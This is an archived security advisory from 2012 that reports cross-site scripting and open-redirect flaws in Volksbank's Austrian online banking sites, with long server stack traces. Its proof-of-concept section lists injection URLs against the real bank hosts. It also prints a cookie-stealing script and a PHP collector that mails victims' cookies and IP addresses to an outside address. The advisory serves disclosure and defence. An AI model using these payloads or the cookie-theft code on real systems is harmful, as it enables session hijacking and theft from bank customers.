VolksBank Online Banking Cross Site Scripting / Redirection

2012-02-07T00:00:00
ID PACKETSTORM:109517
Type packetstorm
Reporter Benjamin Kunz Mejri
Modified 2012-02-07T00:00:00

Description

                                        
                                            `Title:  
======  
VolksBank Online Banking - Multiple Web Vulnerabilities  
  
  
Date:  
=====  
2012-02-07  
  
  
References:  
===========  
http://www.vulnerability-lab.com/get_content.php?id=172  
  
  
VL-ID:  
=====  
172  
  
  
Introduction:  
=============  
Die Volksbank AG trifft eine Reihe von Sicherheitsvorkehrungen, die einen wirksamen Schutz gegen Angriffe   
bei der Übertragung der Daten oder der Verarbeitung auf dem Bankenserver bieten. Treffen auch Sie Vorkehrungen   
zum Schutz vor unberechtigten Manipulationen oder Eingriffen von Dritten und melden Sie uns auffällige Mails.  
Geben Sie auf der folgenden Seite als Verfügernummer eine beliebige Zahl ein und klicken Sie anschließend auf   
LOGINum die Demo-Version zu starten.   
  
(Copy of the Vendor Homepage: https://www.banking.co.at/appl/ebp/login.html?resource=074&demo=true)  
  
  
Abstract:  
=========  
An anonymous Vulnerability Lab Researcher discovered multiple Web Vulnerabilities in the online-banking system of volksbank.  
  
  
Report-Timeline:  
================  
2011-07-03: Vendor Notification 1  
2011-08-25: Vendor Notification 2  
2011-11-17: Vendor Notification 3  
2012-01-09: Vendor Notification 4  
2011-**-**: Vendor Response/Feedback  
2011-**-**: Vendor Fix/Patch  
2011-02-07: Public or Non-Public Disclosure  
  
  
Status:  
========  
Published  
  
  
Exploitation-Technique:  
=======================  
Remote  
  
  
Severity:  
=========  
High  
  
  
Details:  
========  
1.1  
Multiple Input Validation vulnerabilities are detected on hte volksbank portal & banking website.  
Remote attackers can include malicious persistent script-codes on application side of the vulnerable affected modules.  
The vulnerability allows an attacker also to hijack not expired customers sessions.  
  
Vulnerable Module(s):  
[+] Vorlagen Name  
[+] Exception Handling  
[+] Vorlagen Gruppen Name  
[+] Default ASPX  
  
--- Exception Logs ---  
Error Page Exception  
SRVE0260E: The server cannot use the error page specified for your application to handle the Original Exception printed below.  
  
Original Exception:  
Error Message: SRVE0295E: Error reported: 400  
Error Code: 400  
Target Servlet: /zib/de/include/search_ergebnisn.jsp  
Error Stack:  
com.ibm.ws.webcontainer.webapp.WebAppErrorReport: SRVE0295E: Error reported: 400  
at java.lang.Throwable.(Throwable.java:67)  
at javax.servlet.ServletException.(ServletException.java:72)  
at com.ibm.websphere.servlet.error.ServletErrorReport.(ServletErrorReport.java:67)  
at com.ibm.ws.webcontainer.webapp.WebAppDispatcherContext.sendError(WebAppDispatcherContext.java:600)  
at com.ibm.ws.webcontainer.srt.SRTServletResponse.sendError(SRTServletResponse.java:1180)  
at com.ibm.ws.webcontainer.srt.SRTServletResponse.sendError(SRTServletResponse.java:1162)  
at at.co.arz.cms.hk010.volksbank.filter.ParameterValidationFilter.doFilter(ParameterValidationFilter.java:67)  
at com.ibm.ws.webcontainer.filter.FilterInstanceWrapper.doFilter(FilterInstanceWrapper.java:188)  
at com.ibm.ws.webcontainer.filter.WebAppFilterChain.doFilter(WebAppFilterChain.java:116)  
at at.co.arz.cms.hk010.volksbank.filter.DomainBranchValidationFilter.doFilter(DomainBranchValidationFilter.java:124)  
at com.ibm.ws.webcontainer.filter.FilterInstanceWrapper.doFilter(FilterInstanceWrapper.java:188)  
at com.ibm.ws.webcontainer.filter.WebAppFilterChain.doFilter(WebAppFilterChain.java:116)  
at com.ibm.ws.webcontainer.filter.WebAppFilterChain._doFilter(WebAppFilterChain.java:77)  
at com.ibm.ws.webcontainer.filter.WebAppFilterManager.doFilter(WebAppFilterManager.java:908)  
at com.ibm.ws.webcontainer.servlet.ServletWrapper.handleRequest(ServletWrapper.java:934)  
at com.ibm.ws.webcontainer.servlet.ServletWrapper.handleRequest(ServletWrapper.java:502)  
at com.ibm.ws.webcontainer.servlet.ServletWrapperImpl.handleRequest(ServletWrapperImpl.java:179)  
at com.ibm.wsspi.webcontainer.servlet.GenericServletWrapper.handleRequest(GenericServletWrapper.java:121)  
at com.ibm.ws.jsp.webcontainerext.AbstractJSPExtensionServletWrapper.handleRequest(AbstractJSPExtensionServletWrapper.java:241)  
at com.ibm.ws.webcontainer.webapp.WebApp.handleRequest(WebApp.java:3826)  
at com.ibm.ws.webcontainer.webapp.WebGroup.handleRequest(WebGroup.java:276)  
at com.ibm.ws.webcontainer.WebContainer.handleRequest(WebContainer.java:931)  
at com.ibm.ws.webcontainer.WSWebContainer.handleRequest(WSWebContainer.java:1583)  
at com.ibm.ws.webcontainer.channel.WCChannelLink.ready(WCChannelLink.java:186)  
at com.ibm.ws.http.channel.inbound.impl.HttpInboundLink.handleDiscrimination(HttpInboundLink.java:445)  
at com.ibm.ws.http.channel.inbound.impl.HttpInboundLink.handleNewRequest(HttpInboundLink.java:504)  
at com.ibm.ws.http.channel.inbound.impl.HttpInboundLink.processRequest(HttpInboundLink.java:301)  
at com.ibm.ws.http.channel.inbound.impl.HttpInboundLink.ready(HttpInboundLink.java:275)  
at com.ibm.ws.tcp.channel.impl.NewConnectionInitialReadCallback.sendToDiscriminators(NewConnectionInitialReadCallback.java:214)  
at com.ibm.ws.tcp.channel.impl.NewConnectionInitialReadCallback.complete(NewConnectionInitialReadCallback.java:113)  
at com.ibm.ws.tcp.channel.impl.AioReadCompletionListener.futureCompleted(AioReadCompletionListener.java:165)  
at com.ibm.io.async.AbstractAsyncFuture.invokeCallback(AbstractAsyncFuture.java:217)  
at com.ibm.io.async.AsyncChannelFuture.fireCompletionActions(AsyncChannelFuture.java:161)  
at com.ibm.io.async.AsyncFuture.completed(AsyncFuture.java:138)  
at com.ibm.io.async.ResultHandler.complete(ResultHandler.java:204)  
at com.ibm.io.async.ResultHandler.runEventProcessingLoop(ResultHandler.java:775)  
at com.ibm.io.async.ResultHandler$2.run(ResultHandler.java:905)  
at com.ibm.ws.util.ThreadPool$Worker.run(ThreadPool.java:1563)  
  
  
  
Error Page Exception:  
Error Message: java.lang.NumberFormatException: For input string: <INCLUDE PERSISTENT MALICIOUS SCRIPTCODE HERE!>  
Error Code: 0  
Target Servlet: null  
Error Stack:  
java.lang.NumberFormatException: For input string: <INCLUDE PERSISTENT MALICIOUS SCRIPTCODE HERE!>  
at java.lang.Throwable.<init>(Throwable.java:67)  
at java.lang.NumberFormatException.forInputString(NumberFormatException.java:60)  
at java.lang.Integer.parseInt(Integer.java:470)  
at java.lang.Integer.parseInt(Integer.java:511)  
at com.ibm._jsp._navigation_5F_oben._jspService(_navigation_5F_oben.java:184)  
at com.ibm.ws.jsp.runtime.HttpJspBase.service(HttpJspBase.java:99)  
at javax.servlet.http.HttpServlet.service(HttpServlet.java:831)  
at com.ibm.ws.webcontainer.servlet.ServletWrapper.service(ServletWrapper.java:1657)  
at com.ibm.ws.webcontainer.servlet.ServletWrapper.service(ServletWrapper.java:1597)  
at com.ibm.ws.webcontainer.filter.WebAppFilterChain.doFilter(WebAppFilterChain.java:104)  
at com.ibm.ws.webcontainer.filter.WebAppFilterChain._doFilter(WebAppFilterChain.java:77)  
at com.ibm.ws.webcontainer.filter.WebAppFilterManager.doFilter(WebAppFilterManager.java:908)  
at com.ibm.ws.webcontainer.servlet.ServletWrapper.handleRequest(ServletWrapper.java:934)  
at com.ibm.ws.webcontainer.servlet.ServletWrapper.handleRequest(ServletWrapper.java:502)  
at com.ibm.ws.webcontainer.servlet.ServletWrapperImpl.handleRequest(ServletWrapperImpl.java:179)  
at com.ibm.wsspi.webcontainer.servlet.GenericServletWrapper.handleRequest(GenericServletWrapper.java:121)  
at com.ibm.ws.jsp.webcontainerext.AbstractJSPExtensionServletWrapper.handleRequest(AbstractJSPExtensionServletWrapper.java:241)  
at com.ibm.ws.webcontainer.webapp.WebAppRequestDispatcher.include(WebAppRequestDispatcher.java:673)  
at org.apache.jasper.runtime.JspRuntimeLibrary.include(JspRuntimeLibrary.java:1045)  
at org.apache.jasper.runtime.JspRuntimeLibrary.include(JspRuntimeLibrary.java:1006)  
at com.ibm._jsp._error_5F_400._jspService(_error_5F_400.java:256)  
at com.ibm.ws.jsp.runtime.HttpJspBase.service(HttpJspBase.java:99)  
at javax.servlet.http.HttpServlet.service(HttpServlet.java:831)  
at com.ibm.ws.webcontainer.servlet.ServletWrapper.service(ServletWrapper.java:1657)  
at com.ibm.ws.webcontainer.servlet.ServletWrapper.service(ServletWrapper.java:1597)  
at com.ibm.ws.webcontainer.filter.WebAppFilterChain.doFilter(WebAppFilterChain.java:104)  
at com.ibm.ws.webcontainer.filter.WebAppFilterChain._doFilter(WebAppFilterChain.java:77)  
at com.ibm.ws.webcontainer.filter.WebAppFilterManager.doFilter(WebAppFilterManager.java:908)  
at com.ibm.ws.webcontainer.servlet.ServletWrapper.handleRequest(ServletWrapper.java:934)  
at com.ibm.ws.webcontainer.servlet.ServletWrapper.handleRequest(ServletWrapper.java:502)  
at com.ibm.ws.webcontainer.servlet.ServletWrapperImpl.handleRequest(ServletWrapperImpl.java:179)  
at com.ibm.wsspi.webcontainer.servlet.GenericServletWrapper.handleRequest(GenericServletWrapper.java:121)  
at com.ibm.ws.jsp.webcontainerext.AbstractJSPExtensionServletWrapper.handleRequest(AbstractJSPExtensionServletWrapper.java:241)  
at com.ibm.ws.webcontainer.webapp.WebAppRequestDispatcher.forward(WebAppRequestDispatcher.java:341)  
at com.ibm.ws.webcontainer.webapp.WebApp.sendError(WebApp.java:3262)  
at com.ibm.ws.webcontainer.webapp.WebAppDispatcherContext.sendError(WebAppDispatcherContext.java:645)  
at com.ibm.ws.webcontainer.srt.SRTServletResponse.sendError(SRTServletResponse.java:1180)  
at com.ibm.ws.webcontainer.srt.SRTServletResponse.sendError(SRTServletResponse.java:1162)  
at at.co.arz.cms.hk010.volksbank.filter.ParameterValidationFilter.doFilter(ParameterValidationFilter.java:67)  
at com.ibm.ws.webcontainer.filter.FilterInstanceWrapper.doFilter(FilterInstanceWrapper.java:188)  
at com.ibm.ws.webcontainer.filter.WebAppFilterChain.doFilter(WebAppFilterChain.java:116)  
at at.co.arz.cms.hk010.volksbank.filter.DomainBranchValidationFilter.doFilter(DomainBranchValidationFilter.java:124)  
at com.ibm.ws.webcontainer.filter.FilterInstanceWrapper.doFilter(FilterInstanceWrapper.java:188)  
at com.ibm.ws.webcontainer.filter.WebAppFilterChain.doFilter(WebAppFilterChain.java:116)  
at com.ibm.ws.webcontainer.filter.WebAppFilterChain._doFilter(WebAppFilterChain.java:77)  
at com.ibm.ws.webcontainer.filter.WebAppFilterManager.doFilter(WebAppFilterManager.java:908)  
at com.ibm.ws.webcontainer.servlet.ServletWrapper.handleRequest(ServletWrapper.java:934)  
at com.ibm.ws.webcontainer.servlet.ServletWrapper.handleRequest(ServletWrapper.java:502)  
at com.ibm.ws.webcontainer.servlet.ServletWrapperImpl.handleRequest(ServletWrapperImpl.java:179)  
at com.ibm.wsspi.webcontainer.servlet.GenericServletWrapper.handleRequest(GenericServletWrapper.java:121)  
at com.ibm.ws.jsp.webcontainerext.AbstractJSPExtensionServletWrapper.handleRequest(AbstractJSPExtensionServletWrapper.java:241)  
at com.ibm.ws.webcontainer.webapp.WebApp.handleRequest(WebApp.java:3826)  
at com.ibm.ws.webcontainer.webapp.WebGroup.handleRequest(WebGroup.java:276)  
at com.ibm.ws.webcontainer.WebContainer.handleRequest(WebContainer.java:931)  
at com.ibm.ws.webcontainer.WSWebContainer.handleRequest(WSWebContainer.java:1583)  
at com.ibm.ws.webcontainer.channel.WCChannelLink.ready(WCChannelLink.java:186)  
at com.ibm.ws.http.channel.inbound.impl.HttpInboundLink.handleDiscrimination(HttpInboundLink.java:445)  
at com.ibm.ws.http.channel.inbound.impl.HttpInboundLink.handleNewRequest(HttpInboundLink.java:504)  
at com.ibm.ws.http.channel.inbound.impl.HttpInboundLink.processRequest(HttpInboundLink.java:301)  
at com.ibm.ws.http.channel.inbound.impl.HttpInboundLink.ready(HttpInboundLink.java:275)  
at com.ibm.ws.tcp.channel.impl.NewConnectionInitialReadCallback.sendToDiscriminators(NewConnectionInitialReadCallback.java:214)  
at com.ibm.ws.tcp.channel.impl.NewConnectionInitialReadCallback.complete(NewConnectionInitialReadCallback.java:113)  
at com.ibm.ws.tcp.channel.impl.AioReadCompletionListener.futureCompleted(AioReadCompletionListener.java:165)  
at com.ibm.io.async.AbstractAsyncFuture.invokeCallback(AbstractAsyncFuture.java:217)  
at com.ibm.io.async.AsyncChannelFuture.fireCompletionActions(AsyncChannelFuture.java:161)  
at com.ibm.io.async.AsyncFuture.completed(AsyncFuture.java:138)  
at com.ibm.io.async.ResultHandler.complete(ResultHandler.java:204)  
at com.ibm.io.async.ResultHandler.runEventProcessingLoop(ResultHandler.java:775)  
at com.ibm.io.async.ResultHandler$2.run(ResultHandler.java:905)  
at com.ibm.ws.util.ThreadPool$Worker.run(ThreadPool.java:1563)   
  
  
Picture(s):  
../volksbank.com.png  
../volksbank.com2.png  
  
  
1.2  
Multiple Input Validation vulnerabilites are detected on client-side of the volksbank portal & banking website.  
Remote attackers can hijack customer sessions/cookies via cross site scripting with high required user inter action.  
  
Vulnerable Module(s):  
[+] Search  
  
Picture(s):  
../volksbank.com3.png  
../volksbank.com4.png  
../volksbank.com5.png  
  
  
1.3  
A redirection vulnerability allows an attacker to redirect the website or implement phishing routines via ?url request on client-side.  
  
  
Vulnerable Module(s):  
[+] Kurse & Banking  
[+] IPO News Index  
  
Picture(s):  
../volksbank.com6.png  
../volksbank.com7.png  
  
  
Proof of Concept:  
=================  
The vulnerabilites can be exploited by remote attackers or local privileged user accounts. For demonstration or reproduce ...  
  
1.2 Server-Side  
https://www.banking.co.at/appl/ebp/vorlage/erstellenaaueb.html[IVE]  
https://www.banking.co.at/appl/ebp/vorlage/verwaltung/gruppen_update.html?vorlgrpid=1&jsStat=disabled[IVE]  
https://www.banking.co.at/appl/ebp/vorlage/verwaltung/gruppen.html[IVE]  
http://kurse.banking.co.at/volksbank/default.aspx?action=securityDetails&id=tts-5234010&menuId=1&pathName=[IVE]&lang=de&showMainOnly=yes  
http://kurse.banking.co.at/volksbank/Default.aspx?action=chartDetail&id=tts-  
  
5234010&type=javaChart&menuId=1&lang=de&showMainOnly=yes&pathName=[IVE]HERE%20CAN%20YOU%20INCLUDE%20ANYTHING!!!  
http://kurse.banking.co.at/volksbank/default.aspx?action=iframe&ifheight=600&menuId=15&lang=de[IVE]  
  
  
1.2 Client-Side  
http://www.volksbank.com/m101/volksbank/zib/de/individuelle_seite/regionale_Inhalte/private_ibanking/ibk.jsp?locincl=[IVE]  
http://www.volksbank.com/m101/volksbank/zib/de/include/search_ergebnisn.jsp?menu1=-1&locincl=/m101_oevag&loclink=[IVE]  
http://www.volksbank.com/m101/volksbank/zib/de/individuelle_seite/regionale_Inhalte/private_ibanking/ibk.jsp?locincl=[IVE]  
http://kurse.banking.co.at/volksbank/default.asp?menu1=5&menu2=6&menu1name=%22%3E%3Ciframe%20src=http://global-evolution.info/  
  
%20height=800%20width=800%3E&menu1link=/de/modul/kurse_maerkte.jsp&menu2name=AGAIN&menu2link=/de/modul/kurse_maerkte.jsp?  
  
seite=6&branch=m101_oevag&language=de&loclink=/m101/volksbank/m101_oevag&locincl=/m101_oevag&stage=p&dcr_name=templatedata/vb_modul/kurse_maer  
  
kte/data/de/kurse_maerkte&thisjsp=/de/modul/kurse_maerkte&bc=navi&seite=6&url=www.volksbank.com&titel=Volksbank+AG+-+B%F6rsen+%26+M%E4rkte  
https://www.banking.co.at/appl/ebp/karten/umsatzuebersicht.html?reqAttrCreditCardNumber=[IVE]  
  
  
1.3 Redirection Vulnerabilities  
http://kurse.banking.co.at/volksbank/default.asp?url=global-evolution.info/evil-file.html  
http://kurse.banking.co.at/volksbank/default.asp?menu1=5&menu2=1&menu3=6&menu1name=B%F6rsen+%26+M  
  
%E4rkte&menu1link=/de/modul/kurse_maerkte.jsp&menu2name=M%E4rkte%2FIndizes&menu2link=/de/modul/kurse_maerkte.jsp?seite=1&menu3name=IPO-  
  
News&menu3link=/de/modul/kurse_maerkte.jsp?  
  
seite=1_6&branch=m101_oevag&language=de&loclink=/m101/volksbank/m101_oevag&locincl=/m101_oevag&stage=p&dcr_name=&thisjsp=/de/modul/kurse_maerk  
  
te.jsp?seite=1_6&bc=nutchsearch&seite=12&url=www.volksbank.com&titel=Volksbank+AG+-+B%F6rsen+%26+M%E4rkte&iframeUrl=http://global-  
  
evolution.info/evil-file.html  
  
  
----  
script.js  
location.href='http://www.volksbank.com/m101/volksbank/zib/de/individuelle_seite/regionale_Inhalte/private_ibanking/ibk.jsp?locincl=  
  
%3C/script%3E%20%22%3E  
%3Cscript%20src%3Dhttp%3A//global-evolution.info/grep.php%3E%3C/script%3E?nice='+escape(document.cookie)  
  
grep.php  
<?  
$cookie = $_GET['nice'];  
$ip = getenv("REMOTE_ADDR");  
$Time = date("l dS of F Y h:i:s A");   
$msg = "Cookie: $cookie\nIP Address: $ip\Time: $Time";  
$subject = "cookie";  
mail("tester@bad-server.com", $subject, $msg);  
header ("location: http://www.volksbank.com/");  
?>  
  
  
Risk:  
=====  
1.1  
The security risk of the persistent vulnerabilities are estimated as high(-) because of low required user inter action.  
  
1.2  
The security risk of the non-persistent vulnerabilities are estimated as medium(-) because of high required user inter action.  
  
1.3  
The security risk of the redirect vulnerability is estimated as low.  
  
  
Credits:  
========  
Vulnerability Research Laboratory - Benjamin Kunz Mejri  
  
  
Disclaimer:  
===========  
The information provided in this advisory is provided as it is without any warranty. Vulnerability-Lab disclaims all warranties,   
either expressed or implied, including the warranties of merchantability and capability for a particular purpose. Vulnerability-  
Lab or its suppliers are not liable in any case of damage, including direct, indirect, incidental, consequential loss of business   
profits or special damages, even if Vulnerability-Lab or its suppliers have been advised of the possibility of such damages. Some   
states do not allow the exclusion or limitation of liability for consequential or incidental damages so the foregoing limitation   
may not apply. Any modified copy or reproduction, including partially usages, of this file requires authorization from Vulnerability-  
Lab. Permission to electronically redistribute this alert in its unmodified form is granted. All other rights, including the use of   
other media, are reserved by Vulnerability-Lab or its suppliers.  
  
Copyright © 2012|Vulnerability-Lab  
  
--   
Website: www.vulnerability-lab.com ; vuln-lab.com or vuln-db.com  
Contact: admin@vulnerability-lab.com or support@vulnerability-lab.com  
  
`